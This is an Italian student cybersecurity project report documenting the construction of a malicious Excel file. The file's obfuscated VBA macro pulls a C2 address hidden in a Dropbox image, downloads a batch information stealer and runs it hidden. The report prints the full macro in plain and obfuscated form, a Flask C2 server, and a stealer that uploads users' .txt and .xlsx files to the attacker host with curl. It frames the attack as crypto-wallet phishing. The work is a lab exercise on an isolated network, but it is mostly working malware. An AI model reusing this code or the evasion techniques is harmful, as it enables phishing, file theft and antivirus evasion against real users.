Report Progetto - CyberSecurity

Vilotto Tommaso VR516306

Zerman Nicolò VR516333

Febbraio 2025

Indice

Introduzione

Descrizione

L'obiettivo di questo progetto è quello di realizzare un documento **Excel** malevolo che contiene una **macro VBA**, che installa un information stealer che ruba file contenenti informazioni sensitive dalla macchina delle vittime.
La macro si connette a Dropbox e scarica un'immagine in cui è stato codificato l'indirizzo IP del server C2 da cui scaricare **l'information stealer**. Dopodichè scarica dal server C2 l'information stealer e lo lancia. L'information stealer dovrà inviare i file con le informazioni sensitive al server C2. Il codice della macro è stato offuscato.

Tipologia di attacco

L'attacco è mirato ad utenti che sono iscritti alla newsletter all'exchange di crypto.com, il quale ha subito un databreach con eventuale esposizione di email. L'obiettivo dell'attacco è quello di rubare **informazioni riguardanti l'accesso ai wallet crypto**.
Tramite una **email di phishing**, simile ad altre che la newsletter dell'exchange di crypto manda ai suoi utenti, la vittima viene invogliata a **scaricare il file Excel malevolo** contenente la macro VBA, pensando sia semplicemente un file con le ultime news del cryptomarket.
All'apertura del file la vittima dovrà consentire l'attivazione delle macro, che sarà motivata via mail con la scusante di doverla attivare se si vuole usufruire di tutte le funzionalità.
Una volta attivata, la macro verrà eseguita automaticamente e i file con le informazioni sensitive verranno inviati al server C2.

Creazione Immagine

L'immagine selezionata riguarda uno sfondo di Windows 11 che, anche se non viene notata all'interno della macchina della vittima, non attira l'attenzione.

Si è deciso, come codifica, di cambiare il **canale rosso dei primi 4 pixel** dell'immagine.

es. IP del server = 192.168.174.131
Primi 4 pixel dell'immagine: (0,0,0,0), (0,0,0,0), (0,0,0,0), (0,0,0,0),
Primi 4 pixel dell'immagine ***codificata****: (192,0,0,0), (168,0,0,0), (174,0,0,0), (131,0,0,0).*

Si è deciso di implementare il codice per codificare l'immagine tramite uno **script python**:

```python
from PIL import Image
import numpy as np

def encodeIp(ipAddress, outputPath):
    # Lettura dell'immagine
    img = Image.open("img.jpg")
    pixels = np.array(img)

    # Converte l'IP in una lista di numeri
    ipBytes = list(map(int, ipAddress.split('.')))

    # Modifica i primi 4 pixel per memorizzare l'IP
    for i in range(4):
        pixels[0, i, 0] = ipBytes[i]  # Memorizza l'IP nel canale rosso

    # Salva l'immagine modificata
    encodedImg = Image.fromarray(pixels)
    encodedImg.save(outputPath)

encodeIp("192.168.174.131", "img.png")
```

Macro VBA

Codice

La **Sub DownloadFromDropbox()** scarica e salva l'immagine codificata, caricata su DropBox e contenente L'IP del server, all'interno della macchina della vittima.

```
Sub DownloadFromDropbox()
    Dim http As Object
    Dim stream As Object
    Dim url As String
    Dim percorsoDestinazione As String

    ' URL dell'immagine codificata e caricata su DropBox contenente l'IP del
        server
    url = "https://www.dropbox.com/scl/fi/sl2qwhol594v5isj1akfk/img23.png?rlkey
        =b0sh3pigbckmktlpppa7r3ud1&st=zye6te6j&raw=1"

    percorsoDestinazione = ".\img.png"

    ' Creazione dell'oggetto HTTP per andare a scaricare l'immagine
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
    http.Open "GET", url, False

    http.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 11.0; Win64;
        x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari
        /537.36 Edg/111.0.0.0"
    http.Send

    ' Se la richiesta ha avuto successo vado a scaricare e salvare l'immagine
        da DropBox
    If http.Status = 200 Then
        Set stream = CreateObject("ADODB.Stream")
        stream.Type = 1
        stream.Open
        stream.Write http.ResponseBody
        stream.SaveToFile percorsoDestinazione, 2
        stream.Close
    End If
End Sub
```

La **Sub GatherIpAddress()**, partendo dall'immagine appena scaricata, ricava l'IP del server tramite l'esecuzione di uno script Powershell e lo salva all'interno di una variabile globale. Dopodichè elimina i file che sono stati scaricati e creati all'interno della macchina.

```
Public ipAddress As String
Sub GatherIpAddress()
    Dim script As String
    Dim WshShell As Object
    Dim result As String

    ' Codice che , a partire dall'immagine scaricata, ricava l'IP del server e
        lo scrive sul file output.txt
    script = "powershell -Command ""Add-Type -AssemblyName System.Drawing;
              $imagePath = '.\img.png'; $bitmap = [System.Drawing.Bitmap]::
                  FromFile($imagePath);
              $pixelValues = '';
              for ($x = 0; $x -lt 4; $x++) {
                  $color = $bitmap.GetPixel($x, 0);
              if ($x -gt 0) { $pixelValues += '.' };
                  $pixelValues += $color.R;
              };
```

```
            $bitmap.Dispose();
            Set-Content -Path '.\output.txt' -Value $pixelValues"""

    ' Esecuzione dello script
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run script, 0, True

    ' Leggo il contenuto di output.txt (IP del server) e lo salvo nella var
      globale ipAddress
    Open ".\output.txt" For Input As #1
    Line Input #1, ipAddress
    Close #1

    ' Elimino i file immagine e output.txt
    Dim filePath As String
    filePath = ".\output.txt"
    Kill filePath

    filePath = ".\img.png"
    Kill filePath
End Sub
```

La **Sub DownloadStealer()**, usufruendo dell'IP del server appena ricavato, manda una richiesta GET per andare a salvare all'interno della macchina della vittima il file stealer.cmd.

```
Sub DownloadStealer()
    Dim http As Object
    Dim fileStream As Object
    Dim fileURL As String
    Dim destFile As String

    ' URL dal quale, tramite richiesta HTTP, vado a salvare lo stealer all'
      interno della macchina
    fileURL = "http://" & ipAddress & ":4444/download"
    destFile = ".\stealer.cmd"

    ' Creazione oggetto HTTP
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
    http.Open "GET", fileURL, False
    http.Send

    ' Salva il file stealer.cmd se la richiesta ha avuto successo
    If http.Status = 200 Then
        Set fileStream = CreateObject("ADODB.Stream")
        fileStream.Open
        fileStream.Type = 1
        fileStream.Write http.ResponseBody
        fileStream.SaveToFile destFile, 2
        fileStream.Close
    End If
End Sub
```

La **Sub ExecuteStealer()** esegue, tramite un oggetto WScript.Shell, il file stealer.cmd, che andrà ad inviare i file contenenti informazioni sensitive al server.
Dopodichè verrà eliminato lo stealer.cmd.

```
Sub ExecuteStealer()
    Dim filePath As String
    filePath = ".\stealer.cmd"

    ' Creazione dell'oggetto WScript.Shell per andare ad eseguire stealer.cmd
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")

    ' Viene eseguito il file .cmd senza la visualizzazione della sua finestra
    shell.Run """ & filePath & """, 0, True

    ' Elimino il file stealer.cmd
    Kill filePath
End Sub
```

La **Sub Workbook_Open()** viene eseguita quando il file Excel viene aperto e quando le macro vengono attivate. Come si può vedere, va ad eseguire tutte le macro precedenti in ordine e in modo sequenziale.

```
' Quando il file viene aperto, le varie macro vengono eseguite in sequenza
Private Sub Workbook_Open()
    Call DownloadFromDropbox
    Call GatherIpAddress
    Call DownloadStealer
    Call ExecuteStealer
End Sub
```

Tecniche di offuscazione

Sono state utilizzate le tecniche di offuscazione più classiche, con lo scopo di rendere difficile l'analisi statica.
Le tecniche utilizzate sono elencate di seguito:

- **Rinominazione di variabili e funzioni**: sono stati modificati i nomi di variabili e funzioni in modo tale che siano privi di significato e che non rivelino il loro scopo.
- **Rimozione dei commenti**: sono stati rimossi tutti i commenti nel codice, in modo da non dare nessun informazione su quello che si sta facendo.
- **Rimozione della formattazione**: come indentazione e linee vuote.
- **Cambiamento della struttura del codice**: sono state aggiunte istruzioni condizionali, cicli, divisione in più metodi ed è stato cambiato l'ordine di scrittura delle funzioni in modo da rendere difficile seguire il flusso logico.
- **Codifica delle stringhe**: sono stati utilizzati due metodi per la codifica delle stringhe. Per le stringhe più semplici è stata usata una funzione Xor, cambiando chiave per ogni stringa diversa. Per le stringhe più complesse (come lo script powershell) è stata utilizzata prima la tecnica Xor e poi la conversione in Esadecimale, sia per rendere più difficile la comprensione sia per evitare problemi di compilazione.

E' stato utilizzato **VirusTotal**, un servizio web che offre un'analisi di file utilizzando più motori antivirus e strumenti di sicurezza.
Il punteggio del codice **non offuscato** si trova **qui**.
Mentre il punteggio del codice **post-offuscamento** si trova **qui**.
Come possiamo vedere, il report rimane molto più generico.

Codice Offuscato

Dopo l'utilizzo delle tecniche precedentemente citate, il codice risulta essere il seguente:

```
Public veaffqrt As String
Sub hjfiafay()
Dim wtcswrkr As String
Dim szviqcuo As Object
Dim czyptqye As String
wtcswrkr = rsapddnsawqx(dhsaodaskldja("627D657760617A777E7E323F517D7F7F737C7632
305376763F466B6277323F536161777F707E6B5C737F7732416B6166777F3C566073657B7C75293
2367B7F7375774273667A322F32353C4E7B7F753C627C7535293236707B667F7362322F3249416B
6166777F3C566073657B7C753C507B667F73624F282854607D7F547B7E773A367B7F73757742736
67A3B293236627B6A777E44737E677761322F3235352932747D60323A366A322F32222932366A32
3F7E6632262932366A39393B32693236717D7E7D60322F3236707B667F73623C557766427B6A777
E3A366A3E32223B29327B74323A366A323F756632223B32693236627B6A777E44737E6777613239
2F32353C35326F293236627B6A777E44737E67776132392F3236717D7E7D603C4029326F2932367
07B667F73623C567B61627D61773A3B29324177663F517D7C66777C66323F4273667A32353C4E7D
67666267663C666A6635323F44737E67773236627B6A777E44737E67776130"), 18)
Set szviqcuo = CreateObject(rsapddnsawqx("{KZAX\{@MDD", 40))
szviqcuo.Run wtcswrkr, 0, True
Open rsapddnsawqx(";Iz‘ae‘a;ama", 21) For Input As #1
Line Input #1, veaffqrt
Close #1
Dim fscoywku As String
fscoywku = rsapddnsawqx("4Fuonjon4nbn", 26)
Kill fscoywku
fscoywku = rsapddnsawqx("wBFL[EL", 43)
Kill fscoywku
End Sub
Function dhsaodaskldja(ByVal udiawpsd As String) As String
Dim retossdqqa As Integer, popollsisq As String
popollsisq = ""
For retossdqqa = 1 To Len(udiawpsd) Step 2
popollsisq = popollsisq & Chr(CLng("&H" & Mid(udiawpsd, retossdqqa, 2)))
Next retossdqqa
dhsaodaskldja = popollsisq
End Function
Private Sub Workbook_Open()
Call cggehdfn
Call hjfiafay
Call xorrnfba
Call tzhjdpxt
End Sub
Sub xorrnfba()
Dim jxhmvcjv As Object
Dim ltfbytyw As Object
Dim fyreoaml As String
Dim qjvajckc As String
fyreoaml = rsapddnsawqx(dhsaodaskldja("7E6262662C3939"), 22) & veaffqrt &
    rsapddnsawqx(dhsaodaskldja("2E2020202203B707B637A787B7570"), 20)
qjvajckc = rsapddnsawqx(";Ifaptypg;vxq", 21)
Set jxhmvcjv = CreateObject(rsapddnsawqx("\beC{%\beC{Ynz~nx%>%:", 11))
jxhmvcjv.Open rsapddnsawqx("^\M", 25), fyreoaml, False
jxhmvcjv.Send
If jxhmvcjv.Status = 200 Then
Set ltfbytyw = CreateObject(rsapddnsawqx(dhsaodaskldja("5
    B5E555E5834496E687F7B77"), 26))
ltfbytyw.Open
ltfbytyw.Type = 1
ltfbytyw.Write jxhmvcjv.ResponseBody
ltfbytyw.SaveToFile qjvajckc, 2
ltfbytyw.Close
End If
End Sub
```

```
Sub tzhjdpxt()
Dim fscoywku As String
fscoywku = rsapddnsawqx("7Ejm|xu|k7zt}", 25)
Dim okxlstvc As Object
Set okxlstvc = CreateObject(rsapddnsawqx("Y]m|g~z ]fkbb", 14))
okxlstvc.Run """" & fscoywku & """", 0, True
Kill fscoywku
End Sub
Function rsapddnsawqx(ByVal donda3 As String, ByVal vsdad As Integer) As String
Dim dadadwvarf As Integer, pdsajdwqd As String
pdsajdwqd = ""
For dadadwvarf = 1 To Len(donda3)
pdsajdwqd = pdsajdwqd & Chr(Asc(Mid(donda3, dadadwvarf, 1)) Xor vsdad)
Next dadadwvarf
rsapddnsawqx = pdsajdwqd
End Function
Sub cggehdfn()
Dim utatigng As Object
Dim jbcumpjs As Object
Dim fsvlnozz As String
Dim ptjuuqfy As String
fsvlnozz = rsapddnsawqx("B^^ZY]]]NXEZHERIEGYIFLCYF[]BEF\
    CY@KALACGMZDMXFAOSHYBZCMHIAGA^FZZZKX_NY^PSO^O@XK]", 42)
ptjuuqfy = rsapddnsawqx("vCGMZDM", 42)
Set utatigng = CreateObject(rsapddnsawqx("]cdB~~z$]cdB~~zXo{oy~$?$;", 10))
utatigng.Open rsapddnsawqx("dfw", 35), fsvlnozz, False
utatigng.setRequestHeader rsapddnsawqx("Lj|k4X~|wm", 25), rsapddnsawqx(
    dhsaodaskldja("597B6E7D7878753B213A24343C437D7A707B6367345A4034252
53A242F34437D7A22202F346C22203D34556464787143 71765F7D603B2127233A2722343C5F5C40
595838347 87D7F71345371777F7B3D34577C667B79713B2525253A243A243A24344775727 5667D3
B2127233A2722345170733B2525253A243A243A24"), 20)
On Error Resume Next
utatigng.Send
If utatigng.Status = 200 Then
Set jbcumpjs = CreateObject(rsapddnsawqx("SV]VP<Af‘ws", 18))
jbcumpjs.Type = 1
jbcumpjs.Open
jbcumpjs.Write utatigng.ResponseBody
jbcumpjs.SaveToFile ptjuuqfy, 2
jbcumpjs.Close
End If
End Sub
```

Infrastruttura Attacco

Le due macchine sono collegate alla **stessa sottorete virtuale in NAT**, visibile solamente da loro. In questo modo, ogni macchina avrà il proprio indirizzo IP, indipendentemente dall'IP assegnato dalla rete a cui sono collegate.

Macchina Server

La macchina server ha come sistema operativo **Linux Mint**.
Viene eseguito un **server Flask scritto in python** che attiva il servizio TCP sulla porta 4444 e che attende richieste GET, per inviare lo stealer.cmd, e POST, per ricevere i file contenenti informazioni sensitive dalla vittima e inserirle all'interno della cartella 'uploads'.

```
from flask import Flask, request, send_from_directory
import os

app = Flask(name)
UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return {'error': 'No file part'}, 400
    file = request.files['file']
    if file.filename == '':
        return {'error': 'No selected file'}, 400
    file.save(os.path.join(UPLOAD_FOLDER, file.filename))
    return {'message': 'File uploaded successfully'}, 200

@app.route('/download', methods=['GET'])
def download_file():
    return send_from_directory("","stealer.cmd", as_attachment=True)

if name == 'main':
    app.run(host='192.168.174.131', port=4444, debug=True)
```

Di seguito il codice dello **stealer.cmd**.
Va ad inviare i **file .txt e .xlsx**, che possono contenere informazioni sensitive, che si trovano all'interno di **principali destinazioni**, e in tutte le loro sottocartelle.
Nel seguente codice si può vedere che le principali cartelle sono: **Desktop, Downloads e Documents**.

```
echo off
setlocal enabledelayedexpansion

set "desktopPath=%USERPROFILE%\Desktop"
set "documentPath=%USERPROFILE%\Documents"
set "downloadPath=%USERPROFILE%\Downloads"
set "serverURL=192.168.174.131:4444/upload"


:: Cerca tutti i file .txt e .xlsx nelle sottocartelle del desktop
for /r "%desktopPath%" %%f in (*.txt *.xlsx) do (
    echo Inviando: %%f
    curl -X POST -F "file=@%%f" %serverURL%
)

:: Cerca tutti i file .txt e .xlsx nelle sottocartelle del desktop
for /r "%documentPath%" %%f in (*.txt *.xlsx) do (
```

```
    echo Inviando: %%f
    curl -X POST -F "file=@%%f" %serverURL%
)

:: Cerca tutti i file .txt e .xlsx nelle sottocartelle del desktop
for /r "%downloadPath%" %%f in (*.txt *.xlsx) do (
    echo Inviando: %%f
    curl -X POST -F "file=@%%f" %serverURL%
)

exit
```

Macchina Vittima

La macchina vittima ha come sistema **Windows 11**.
Si presenta come una macchina di un utente qualsiasi, con file archiviati nelle varie cartelle.
In questo caso troveremo file .txt e .xlsx nelle cartelle principali sopracitate.
Tutti i **servizi di protezione base** forniti dal sistema sono attivi.